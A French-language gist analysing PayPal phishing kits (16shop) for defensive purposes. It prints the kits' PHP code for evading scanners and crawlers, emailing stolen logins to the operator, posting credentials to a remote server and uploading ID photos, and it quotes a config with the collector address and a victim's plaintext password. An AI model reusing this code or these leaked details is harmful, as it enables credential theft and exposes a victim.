Skip to content

Instantly share code, notes, and snippets.

@fvln
Last active January 7, 2021 11:02
Show Gist options
  • Star 5 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save fvln/c79c6deeae4d2d58be5bdf80b8835abb to your computer and use it in GitHub Desktop.
Save fvln/c79c6deeae4d2d58be5bdf80b8835abb to your computer and use it in GitHub Desktop.
Quelques observations sur les attaques par phishing ciblant Paypal

Jouons avec le phishing Paypal

Courant septembre, j'ai testé un développement qui cherche des patterns parmi (les certificats TLS venant d'être délivrés publiquement)[http://certstream.calidog.io/]. La limite de cette recherche, c'est qu'elle s'applique sur des noms de domaines et pas des URL complètes ! Il suffit de filtrer ces certificats avec le mot-clé « paypal » pour obtenir des dizaines de noms de domaines malveillants par jour, avec parfois... juste un .zip à la racine. Comme j'en ai attrapé quelques-uns (ici 16shop), c'est l'occasion de les décortiquer ;)

Comment ça marche ?

Essayons de comprendre comment les attaquants travaillent !

  1. Ils achètent un nom de domaine ou créent un sous-domaine d'un domaine légitime (identifiants volés ?).
  2. Ils déploient une config apache prédéfinie sur un serveur web.
  3. Ils uploadent un kit de phishing acheté en ligne et le dézippent directement sur le serveur, certainement pour gagner du temps.
  4. Ils génèrent des certificats let's encrypt, c'est plus sérieux.
  5. Ils démarrent très vite la campagne de mailing.

Tout cela génère donc un peu de bruit au niveau des certificats générés :

Certificats TLS

Et comme souvent ils créent les certificats avant de finaliser l'installation, on peut les observer en train d'effectuer les déploiements. Oui, les escrocs sont des idiots incompétents comme les autres :-p

Installation en cours

Mesures anti-analyses

Alors, que contiennent ces kits déployés à longueur de journée avec pour seul objectif de siphonner autant d'identifiants que possible avant d'être blacklistés par tous les navigateurs (ça se mesure en heures, parfois moins) ? Eh bien un sacré assortiment de scripts PHP pompés sur divers repos github et assemblés avec une adresse toute relative, qui montre que la préoccupation principale consiste à ne pas se faire griller trop vite. Pour cela la homepage enchaîne diverses mesures de protection !

D'ailleurs, un certain nombre de kits sont protégés par des reverse proxies type Cloudflare ou https://killbot.org/, ce qui tend à montrer que les escrocs sont prêts à investir plus de temps et/ou d'argent pour protégrer leurs déploiements.

Backlists plus ou moins hardcodées

Commençons par ces vérifiations systématiques :

if ($setting['block_referrer'] == "on") require_once 'crawlerdetect.php';
if ($httpcode != "0") require_once ("antibot.php");
if ($setting['block_iprange'] == "on") require_once 'blacklist.php';
if ($setting['onetime'] == "on") require_once 'onetime.php';
if ($setting['block_vpn'] == "on") require_once 'proxyblock.php';

Tout tourne d'abord autour de blacklists fournies par https://antibot.pw/ ou intégrées dans les fichiers du kit. Le User-Agent est également analysé pour ne laisser passer que les navigateurs "connus", par exemple mon Firefox sous linux ne fait pas partie de la liste. En cas d'accès non autorisé, le script retourne une erreur 403 :

die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You dont have permission to access / on this server.</p></body></html>');

... ou 404 selon les endroits, car la cohérence n'est pas dans leur cahier des charges :

die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>');

C'est assez efficace par exemple leurrer le service phishtank : si on lui soumet l'URL malveillante, il est repéré au niveau du user-agent et pense tomber sur une erreur 404 (simulée, comme on vient de le voir).

Paramètre requis

Deuxième conte-mesure : si la page d'index n'est pas appelée avec un paramètre GET prédéfini, l'accès est refusé. Cela permet de "filtrer" les petits malins comme moi qui arriveraient à la racine du site sans avoir reçu de mail de phishing. Typiquement pour accéder à la vraie page de phishing il faut avoir reçu un lien de la forme https://phishing-domain.com/?nid=xxxx, ici le paramètre requis est nid. Le site redirige alors l'utilisateur ainsi :

echo "<!-- $randomid --><script type='text/javascript'>window.top.location='myaccount?key=" . $key . "';</script>";

Pseudo clé de session

On aperçoit dans le javascript ci-dessus la troisième contre-mesure : il intègre dans l'URL une clé construite sous la forme d'un hash de l'IP client + son user-agent :

$key  = sha1(base64_encode($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT']));

Ainsi, si un visiteur transfère l'URL à quelqu'un d'autre, ce dernier ne pourra pas ouvrir le lien car la clé calculée ne sera plus la bonne :

<?php
if($_SESSION['key'] == "" or $_GET['key'] == "") {
   header('HTTP/1.0 403 Forbidden');
   die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You dont have permission to access / on this server.</p></body></html>');
   exit();
}

if($_GET['key'] != $key) {
   header('HTTP/1.0 403 Forbidden');
   die('<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You dont have permission to access / on this server.</p></body></html>');
   exit();
}

A partir de là, le phishing prend une forme plus classique avec des pages chartées paypal qui se résument à récupérer username, password, puis selon la config toutes les données personnelles de l'utilisateur. Cerise sur le gâteau, le kit peut même demander à ses victimes d'uploader sa carte d'identité et sa photo de profil. L'interface est traduite dans la langue détectée de la victime (le Français ne faisait pas partie des kits que j'ai observés).

Exploitation des données volées

La sauvegarde des données est faite de manière assez traditionnelle par envoi de mail, par exemple ici pour les identifiants paypal :

<?php
error_reporting(0);
session_start();
require_once '../main.php';
require_once 'session.php';
if($_POST['email'] == "") {
   exit();
}
$ip = getUserIP();
$message  = "#--------------------[ EMAIL LOGIN ]-------------------------#\n";
$message .= "User ID : ".$_POST['email']."\n";
$message .= "Password : ".$_POST['password']."\n";
$message .= "#--------------------------[ PC INFORMATION ]-------------------------#\n";
$message .= "IP Address : ".$ip."\n";
$message .= "ISP : ".$ispuser."\n";
$message .= "Region : ".$regioncity."\n";
$message .= "City : ".$citykota."\n";
$message .= "Continent : ".$continent."\n";
$message .= "Timezone : ".$timezone."\n";
$message .= "OS/Browser : ".$os." / ".$br."\n";
$message .= "Date : ".$date."\n";
$message .= "User Agent : ".$user_agent."\n";
$message .= "#--------------------------[ PRIVATE ]-----------------------------#\n";
$subject = "TEMBUS EMAIL: ".$_POST['email']." [ $cn - $os - $ip ]";
kirim_mail($setting['email_result'], $_SESSION['from'], $subject, $message);
tulis_file("../result/total_email.txt", $ip);

if($setting['get_bank'] == "on"){
  echo "<script type='text/javascript'>window.top.location='bank?key=$key';</script>";
}else if($setting['get_photo'] == "on"){
  echo "<script type='text/javascript'>window.top.location='identity?key=$key';</script>";
}else{
  echo "<script type='text/javascript'>window.top.location='done?key=$key';</script>";
}

Les lecteurs les plus attentifs auront identifié grâce à Google Translate un auteur indonésien (kirim = envoyer, tulis = écrire) Un certain nombre de scripts PHP intègrent d'ailleurs cette instruction : date_default_timezone_set("Asia/Jakarta");

Une interface admin ?

Oui, parce que l'escroc n'est probablement pas très à l'aise avec la ligne de commande, le kit intègre une petite interface admin :

Interface admin

function login($key,$username,$password) {
  $get = curl_init();
  $agent = $_SERVER['HTTP_USER_AGENT'];
  $server = parse_ini_file("../server.ini", true);
  curl_setopt($get, CURLOPT_URL,"http://".$server['server_1']."/api/login_paypal.php");
  curl_setopt($get, CURLOPT_POST, 1);
  curl_setopt($get, CURLOPT_POSTFIELDS, "username=$username&password=$password&key=$key&ua=$agent&ip_user=$ipnya");
  curl_setopt($get, CURLOPT_RETURNTRANSFER, true);
  $server_output = curl_exec ($get);
  curl_close($get);
  return $server_output;
}

En regardant la fonction de login de plus près, vous remarquerez que l'authent est faite par un serveur distant avec 3 paramètres. On peut donc imaginer que le kit est vendu avec une sorte de licence vérifiée par le serveur du concepteur. D'autres variantes de 16shop se basent au contraire sur une authentification locale.

Cette interface permet simplement d'afficher dans un tableau HTML la liste des clients ayant donné leurs identifiants, la liste des "bots" bloqués sur la page d'accueil ; elle permet également à l'escroc de remettre à zéro ces listes.

Exploiter les défauts de protection

Bon, après avoir constaté que c'est codé avec les pieds, que peut-on en faire ?

Identifier un kit de phishing

Le plus simple consiste à tenter d'ouvrir des fichiers prédéfinis sur le serveur. Par exemple un kit 16shop contient les fichiers suivants :

admin blacklist.php crawlerdetect.php limited.ini myaccount proxyblock.php server.ini antibot.ini blocker.php index.php load.php onetime.php result unusual_activity.ini antibot.php CrawlerDetect lang.php main.php pap security

Même le mécanisme de protection fait mal son travail car les pages d'erreurs sont hardcodées : il y a de fortes chances que la page d'erreur 404 renvoyée par le kit (s'il vous détecte) soit différente de la page d'erreur 404 renvoyée par le serveur web si on tente d'accéder à une page aléatoire inexistante.

Identifier les victimes

Même si les données sont essentiellement envoyées par email, les logs affichés par l'interface admin sont essentiellement des fichiers plats stockés.... dans un répertoire non sécurisé. Sérieusement. Ils n'ont même pas pris la peine de créer un fichier index.html vide.

Dans l'exemple en question, on trouve 6 IP venant du Royaume-Uni qui ont atteint la page de phishing (fichier total_click.txt) mais personne n'a donné ses identifiants, sinon un fichier total_bin.txt serait présent.

Fichiers de logs

Autre exemple catastrophique : un kit différent stockait les images de la page web de phishing dans le répertoire assets (non protégé contre le listing). En explorant ce répetoire on pouvait trouver tous les identifiants dérobés, sous l'arborescence /assets/logs/paypal, sous la forme suivante :

+-------------- MrProfessor --------------+
+------------------ PayPal ------------------+
|Username : [redacted]
|Password : Ali@112233
+------------ Victim Information ------------+
| Submitted by : [redacted] ([redacted].threembb.co.uk)
| Location : , , 
| UserAgent : Mozilla/5.0 (iPhone; CPU iPhone OS 13_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.2 Mobile/15E148 Safari/604.1
| Browser : Safari
| Os : iPhone
| Received : Monday 28 September 2020 @ 18:07
+---------------------------------------------+

Attaquer l'attaquant

Après avoir vu la qualité globale de l'outil, on peut se demander si un escroc n'aurait pas plus vite faire de siphonner les sites de phishing de ses concurrents. Sans analyser exhaustivement le code, voici quelques faiblesses observées :

  • Beaucoup de paramètres sont stockés dans des fichiers .ini (donc lisibles avec des requêtes HTTP), comme ce config.ini :
email_result = "xresult84@gmail.com"
login_result = "xresult84@gmail.com"
site_parameter = "nid"
letter = "unusual_activity"
site_param_on = "on"
send_login = "on"
get_email =
get_vbv = "on"
get_photo = "on"
get_bank = "on"
double_cc =
onetime = "on"
block_host = "on"
block_ua = "on"
block_iprange = "on"
block_isp = "on"
block_vpn =
block_referrer = "on"

Petite perle, la config de l'interface admin :

email_admin = "s@ya"
email_password = "s@ng3"
  • Beaucoup de dossiers sont laissés sans protection, à part le dossier qui contient les photos d'identité : apache fait une erreur 500 car il n'arrive pas même pas à parser le fichier .htaccess.

  • Enfin, certains scripts sont encore plus sensibles car il permettent d'uploader des photos :

  if(isset($_POST['doc_type'])&&isset($_POST['images'])){
    function upImg($vl){
      $t=microtime(true);
      $micro=sprintf("%06d",($t - floor($t))* 1000000);
      $today=date("m.d.y.h.i.s.U".$micro,$t);
      $name=hash('md5',$today);
      $type=explode(';',$vl)[0];
      $type='.'.explode('/',$type)[1];
      file_put_contents('../pap/'.$name.$type,base64_decode(explode(',',$vl)[1]));
      return "../pap/".$name.$type;
    }

    $from = $_SESSION['from'];
    $type = $_POST['doc_type'];
    $subject = "DOCUMENT: $from - $type [ $cn - $os - $ip ]";
    
    for($i=0;$i<count($_POST['images']);$i++){
      kirim_foto($setting['email_result'], $from, $subject, upImg($_POST['images'][$i]));
    }

    tulis_file("../result/total_upload.txt", $ip);
    exit("done");
  }

Le nom de fichier n'est pas prévisible car il intègre des microsecondes. En revanche si on pouvait réussir un directory traversal avec le paramètre $type (contrôlé dans la requête), cela pourrait permettre d'écraser n'importe quel fichier sur le serveur (dont... au hasard... le fichier de config )

En conclusion

On ne va pas tourner autour du pot, au niveau qualité de code c'est catastrophique. On est face à un assemblage de scripts PHP trouvés ici et là qui rappelle un peu l'époque de PHP3 (1998, ouch).

Pour paypal typiquement, les kits que j'ai observés semblent récolter moins de 10 identifiants avant d'être mis hors service. On découvre donc un nouveau métier à la con des nouvelles technologies : déployer des kits à longueur de journée pour que la quantité compense la faible efficacité.

@mehdichaouch
Copy link

Excellent 👏

PS : où sont les tests unitaires 😆

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment